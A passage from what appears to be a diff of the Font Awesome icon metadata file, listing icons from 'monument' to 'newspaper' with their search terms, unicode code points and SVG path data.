"0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M608 32H32C14.33 32 0 46.33 0 64v384c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM176 327.88V344c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V152c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07zM416 312c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm160 0c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H296c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h272c4.42 0 8 3.58 8 8v16z" + } + }, + "free": [ + "solid" + ] + }, + "monument": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "historic", + "landmark", + "memorable" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5a6", + "label": "Monument", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635605, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M368 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h352c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-78.86-347.26a31.97 31.97 0 0 0-9.21-19.44L203.31 4.69c-6.25-6.25-16.38-6.25-22.63 0l-76.6 76.61a31.97 31.97 0 0 0-9.21 19.44L64 416h256l-30.86-315.26zM240 307.2c0 6.4-6.4 12.8-12.8 12.8h-70.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h70.4c6.4 0 12.8 6.4 12.8 12.8v38.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M368 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h352c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-78.86-347.26a31.97 31.97 0 0 0-9.21-19.44L203.31 4.69c-6.25-6.25-16.38-6.25-22.63 0l-76.6 76.61a31.97 31.97 0 0 0-9.21 19.44L64 416h256l-30.86-315.26zM240 307.2c0 6.4-6.4 12.8-12.8 12.8h-70.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h70.4c6.4 0 12.8 6.4 12.8 12.8v38.4z" + } + }, + "free": [ + "solid" + ] + }, + "moon": { + "changes": [ + "3.2", + "5.0.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "contrast", + "crescent", + "dark", + "lunar", + "night" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f186", + "label": "Moon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635606, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M283.211 512c78.962 0 151.079-35.925 198.857-94.792 7.068-8.708-.639-21.43-11.562-19.35-124.203 23.654-238.262-71.576-238.262-196.954 0-72.222 38.662-138.635 101.498-174.394 9.686-5.512 7.25-20.197-3.756-22.23A258.156 258.156 0 0 0 283.211 0c-141.309 0-256 114.511-256 256 0 141.309 114.511 256 256 256z" + }, + "regular": { + "last_modified": 1628088634918, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M279.135 512c78.756 0 150.982-35.804 198.844-94.775 28.27-34.831-2.558-85.722-46.249-77.401-82.348 15.683-158.272-47.268-158.272-130.792 0-48.424 26.06-92.292 67.434-115.836 38.745-22.05 28.999-80.788-15.022-88.919A257.936 257.936 0 0 0 279.135 0c-141.36 0-256 114.575-256 256 0 141.36 114.576 256 256 256zm0-464c12.985 0 25.689 1.201 38.016 3.478-54.76 31.163-91.693 90.042-91.693 157.554 0 113.848 103.641 199.2 215.252 177.944C402.574 433.964 344.366 464 279.135 464c-114.875 0-208-93.125-208-208s93.125-208 208-208z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M279.135 512c78.756 0 150.982-35.804 198.844-94.775 28.27-34.831-2.558-85.722-46.249-77.401-82.348 15.683-158.272-47.268-158.272-130.792 0-48.424 26.06-92.292 67.434-115.836 38.745-22.05 28.999-80.788-15.022-88.919A257.936 257.936 0 0 0 279.135 0c-141.36 0-256 114.575-256 256 0 141.36 114.576 256 256 256zm0-464c12.985 0 25.689 1.201 38.016 3.478-54.76 31.163-91.693 90.042-91.693 157.554 0 113.848 103.641 199.2 215.252 177.944C402.574 433.964 344.366 464 279.135 464c-114.875 0-208-93.125-208-208s93.125-208 208-208z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "mortar-pestle": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "crush", + "culinary", + "grind", + "medical", + "mix", + "pharmacy", + "prescription", + "spices" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5a7", + "label": "Mortar Pestle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635606, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M501.54 60.91c17.22-17.22 12.51-46.25-9.27-57.14a35.696 35.696 0 0 0-37.37 3.37L251.09 160h151.37l99.08-99.09zM496 192H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c0 80.98 50.2 150.11 121.13 178.32-12.76 16.87-21.72 36.8-24.95 58.69-1.46 9.92 6.04 18.98 16.07 18.98h223.5c10.03 0 17.53-9.06 16.07-18.98-3.22-21.89-12.18-41.82-24.95-58.69C429.8 406.11 480 336.98 480 256h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M501.54 60.91c17.22-17.22 12.51-46.25-9.27-57.14a35.696 35.696 0 0 0-37.37 3.37L251.09 160h151.37l99.08-99.09zM496 192H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c0 80.98 50.2 150.11 121.13 178.32-12.76 16.87-21.72 36.8-24.95 58.69-1.46 9.92 6.04 18.98 16.07 18.98h223.5c10.03 0 17.53-9.06 16.07-18.98-3.22-21.89-12.18-41.82-24.95-58.69C429.8 406.11 480 336.98 480 256h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "mosque": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "islam", + "landmark", + "muslim" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f678", + "label": "Mosque", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635607, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 480c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V160H0v320zm579.16-192c17.86-17.39 28.84-37.34 28.84-58.91 0-52.86-41.79-93.79-87.92-122.9-41.94-26.47-80.63-57.77-111.96-96.22L400 0l-8.12 9.97c-31.33 38.45-70.01 69.76-111.96 96.22C233.79 135.3 192 176.23 192 229.09c0 21.57 10.98 41.52 28.84 58.91h358.32zM608 320H192c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h32v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h64v-72c0-48 48-72 48-72s48 24 48 72v72h64v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h32c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM64 0S0 32 0 96v32h128V96c0-64-64-96-64-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M0 480c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V160H0v320zm579.16-192c17.86-17.39 28.84-37.34 28.84-58.91 0-52.86-41.79-93.79-87.92-122.9-41.94-26.47-80.63-57.77-111.96-96.22L400 0l-8.12 9.97c-31.33 38.45-70.01 69.76-111.96 96.22C233.79 135.3 192 176.23 192 229.09c0 21.57 10.98 41.52 28.84 58.91h358.32zM608 320H192c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h32v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h64v-72c0-48 48-72 48-72s48 24 48 72v72h64v-64c0-17.67 14.33-32 32-32s32 14.33 32 32v64h32c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32zM64 0S0 32 0 96v32h128V96c0-64-64-96-64-96z" + } + }, + "free": [ + "solid" + ] + }, + "motorcycle": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bike", + "machine", + "transportation", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f21c", + "label": "Motorcycle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635607, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M512.9 192c-14.9-.1-29.1 2.3-42.4 6.9L437.6 144H520c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24h-45.3c-6.8 0-13.3 2.9-17.8 7.9l-37.5 41.7-22.8-38C392.2 68.4 384.4 64 376 64h-80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h66.4l19.2 32H227.9c-17.7-23.1-44.9-40-99.9-40H72.5C59 104 47.7 115 48 128.5c.2 13 10.9 23.5 24 23.5h56c24.5 0 38.7 10.9 47.8 24.8l-11.3 20.5c-13-3.9-26.9-5.7-41.3-5.2C55.9 194.5 1.6 249.6 0 317c-1.6 72.1 56.3 131 128 131 59.6 0 109.7-40.8 124-96h84.2c13.7 0 24.6-11.4 24-25.1-2.1-47.1 17.5-93.7 56.2-125l12.5 20.8c-27.6 23.7-45.1 58.9-44.8 98.2.5 69.6 57.2 126.5 126.8 127.1 71.6.7 129.8-57.5 129.2-129.1-.7-69.6-57.6-126.4-127.2-126.9zM128 400c-44.1 0-80-35.9-80-80s35.9-80 80-80c4.2 0 8.4.3 12.5 1L99 316.4c-8.8 16 2.8 35.6 21 35.6h81.3c-12.4 28.2-40.6 48-73.3 48zm463.9-75.6c-2.2 40.6-35 73.4-75.5 75.5-46.1 2.5-84.4-34.3-84.4-79.9 0-21.4 8.4-40.8 22.1-55.1l49.4 82.4c4.5 7.6 14.4 10 22 5.5l13.7-8.2c7.6-4.5 10-14.4 5.5-22l-48.6-80.9c5.2-1.1 10.5-1.6 15.9-1.6 45.6-.1 82.3 38.2 79.9 84.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M512.9 192c-14.9-.1-29.1 2.3-42.4 6.9L437.6 144H520c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24h-45.3c-6.8 0-13.3 2.9-17.8 7.9l-37.5 41.7-22.8-38C392.2 68.4 384.4 64 376 64h-80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h66.4l19.2 32H227.9c-17.7-23.1-44.9-40-99.9-40H72.5C59 104 47.7 115 48 128.5c.2 13 10.9 23.5 24 23.5h56c24.5 0 38.7 10.9 47.8 24.8l-11.3 20.5c-13-3.9-26.9-5.7-41.3-5.2C55.9 194.5 1.6 249.6 0 317c-1.6 72.1 56.3 131 128 131 59.6 0 109.7-40.8 124-96h84.2c13.7 0 24.6-11.4 24-25.1-2.1-47.1 17.5-93.7 56.2-125l12.5 20.8c-27.6 23.7-45.1 58.9-44.8 98.2.5 69.6 57.2 126.5 126.8 127.1 71.6.7 129.8-57.5 129.2-129.1-.7-69.6-57.6-126.4-127.2-126.9zM128 400c-44.1 0-80-35.9-80-80s35.9-80 80-80c4.2 0 8.4.3 12.5 1L99 316.4c-8.8 16 2.8 35.6 21 35.6h81.3c-12.4 28.2-40.6 48-73.3 48zm463.9-75.6c-2.2 40.6-35 73.4-75.5 75.5-46.1 2.5-84.4-34.3-84.4-79.9 0-21.4 8.4-40.8 22.1-55.1l49.4 82.4c4.5 7.6 14.4 10 22 5.5l13.7-8.2c7.6-4.5 10-14.4 5.5-22l-48.6-80.9c5.2-1.1 10.5-1.6 15.9-1.6 45.6-.1 82.3 38.2 79.9 84.3z" + } + }, + "free": [ + "solid" + ] + }, + "mountain": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "glacier", + "hiking", + "hill", + "landscape", + "travel", + "view" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6fc", + "label": "Mountain", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635607, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M634.92 462.7l-288-448C341.03 5.54 330.89 0 320 0s-21.03 5.54-26.92 14.7l-288 448a32.001 32.001 0 0 0-1.17 32.64A32.004 32.004 0 0 0 32 512h576c11.71 0 22.48-6.39 28.09-16.67a31.983 31.983 0 0 0-1.17-32.63zM320 91.18L405.39 224H320l-64 64-38.06-38.06L320 91.18z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M634.92 462.7l-288-448C341.03 5.54 330.89 0 320 0s-21.03 5.54-26.92 14.7l-288 448a32.001 32.001 0 0 0-1.17 32.64A32.004 32.004 0 0 0 32 512h576c11.71 0 22.48-6.39 28.09-16.67a31.983 31.983 0 0 0-1.17-32.63zM320 91.18L405.39 224H320l-64 64-38.06-38.06L320 91.18z" + } + }, + "free": [ + "solid" + ] + }, + "mouse": { + "changes": [ + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "click", + "computer", + "cursor", + "input", + "peripheral" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f8cc", + "label": "Mouse", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635608, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 352a160 160 0 0 0 160 160h64a160 160 0 0 0 160-160V224H0zM176 0h-16A160 160 0 0 0 0 160v32h176zm48 0h-16v192h176v-32A160 160 0 0 0 224 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M0 352a160 160 0 0 0 160 160h64a160 160 0 0 0 160-160V224H0zM176 0h-16A160 160 0 0 0 0 160v32h176zm48 0h-16v192h176v-32A160 160 0 0 0 224 0z" + } + }, + "free": [ + "solid" + ] + }, + "mouse-pointer": { + "changes": [ + "4.4", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "cursor", + "select" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f245", + "label": "Mouse Pointer", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635608, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M302.189 329.126H196.105l55.831 135.993c3.889 9.428-.555 19.999-9.444 23.999l-49.165 21.427c-9.165 4-19.443-.571-23.332-9.714l-53.053-129.136-86.664 89.138C18.729 472.71 0 463.554 0 447.977V18.299C0 1.899 19.921-6.096 30.277 5.443l284.412 292.542c11.472 11.179 3.007 31.141-12.5 31.141z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M302.189 329.126H196.105l55.831 135.993c3.889 9.428-.555 19.999-9.444 23.999l-49.165 21.427c-9.165 4-19.443-.571-23.332-9.714l-53.053-129.136-86.664 89.138C18.729 472.71 0 463.554 0 447.977V18.299C0 1.899 19.921-6.096 30.277 5.443l284.412 292.542c11.472 11.179 3.007 31.141-12.5 31.141z" + } + }, + "free": [ + "solid" + ] + }, + "mug-hot": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "caliente", + "cocoa", + "coffee", + "cup", + "drink", + "holiday", + "hot chocolate", + "steam", + "tea", + "warmth" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7b6", + "label": "Mug Hot", + "svg": { + "solid": { + "last_modified": 1628088635609, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M127.1 146.5c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C111.8 5.9 105 0 96.8 0H80.4C70.6 0 63 8.5 64.1 18c3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zm112 0c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C223.8 5.9 217 0 208.8 0h-16.4c-9.8 0-17.5 8.5-16.3 18 3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zM400 192H32c-17.7 0-32 14.3-32 32v192c0 53 43 96 96 96h192c53 0 96-43 96-96h16c61.8 0 112-50.2 112-112s-50.2-112-112-112zm0 160h-16v-96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M127.1 146.5c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C111.8 5.9 105 0 96.8 0H80.4C70.6 0 63 8.5 64.1 18c3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zm112 0c1.3 7.7 8 13.5 16 13.5h16.5c9.8 0 17.6-8.5 16.3-18-3.8-28.2-16.4-54.2-36.6-74.7-14.4-14.7-23.6-33.3-26.4-53.5C223.8 5.9 217 0 208.8 0h-16.4c-9.8 0-17.5 8.5-16.3 18 3.9 31.9 18 61.3 40.6 84.4 12 12.2 19.7 27.5 22.4 44.1zM400 192H32c-17.7 0-32 14.3-32 32v192c0 53 43 96 96 96h192c53 0 96-43 96-96h16c61.8 0 112-50.2 112-112s-50.2-112-112-112zm0 160h-16v-96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "music": { + "changes": [ + "1", + "5.0.0", + "5.2.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "lyrics", + "melody", + "note", + "sing", + "sound" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f001", + "label": "Music", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635611, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z" + } + }, + "free": [ + "solid" + ] + }, + "napster": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d2", + "label": "Napster", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861007, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z" + } + }, + "free": [ + "brands" + ] + }, + "neos": { + "changes": [ + "5.2.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f612", + "label": "Neos", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775904, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z" + } + }, + "free": [ + "brands" + ] + }, + "network-wired": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "connect", + "ethernet", + "internet", + "intranet" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6ff", + "label": "Wired Network", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635611, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 264v-16c0-8.84-7.16-16-16-16H344v-40h72c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H224c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h72v40H16c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h104v40H64c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h304v40h-56c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h104c8.84 0 16-7.16 16-16zM256 128V64h128v64H256zm-64 320H96v-64h96v64zm352 0h-96v-64h96v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M640 264v-16c0-8.84-7.16-16-16-16H344v-40h72c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H224c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h72v40H16c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h104v40H64c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h304v40h-56c-17.67 0-32 14.33-32 32v128c0 17.67 14.33 32 32 32h160c17.67 0 32-14.33 32-32V352c0-17.67-14.33-32-32-32h-56v-40h104c8.84 0 16-7.16 16-16zM256 128V64h128v64H256zm-64 320H96v-64h96v64zm352 0h-96v-64h96v64z" + } + }, + "free": [ + "solid" + ] + }, + "neuter": { + "changes": [ + "4.3", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "solid" + ], + "unicode": "f22c", + "label": "Neuter", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635612, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V468c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V316.4c64.1-14.5 112-71.9 112-140.4zm-144 80c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V468c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V316.4c64.1-14.5 112-71.9 112-140.4zm-144 80c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" + } + }, + "free": [ + "solid" + ] + }, + "newspaper": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "article", + "editorial", + "headline", + "journal", + "journalism", + "news", + "press" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1ea", + "label": "Newspaper", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635612, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M552 64H88c-13.255 0-24 10.745-24 24v8H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h472c26.51 0 48-21.49 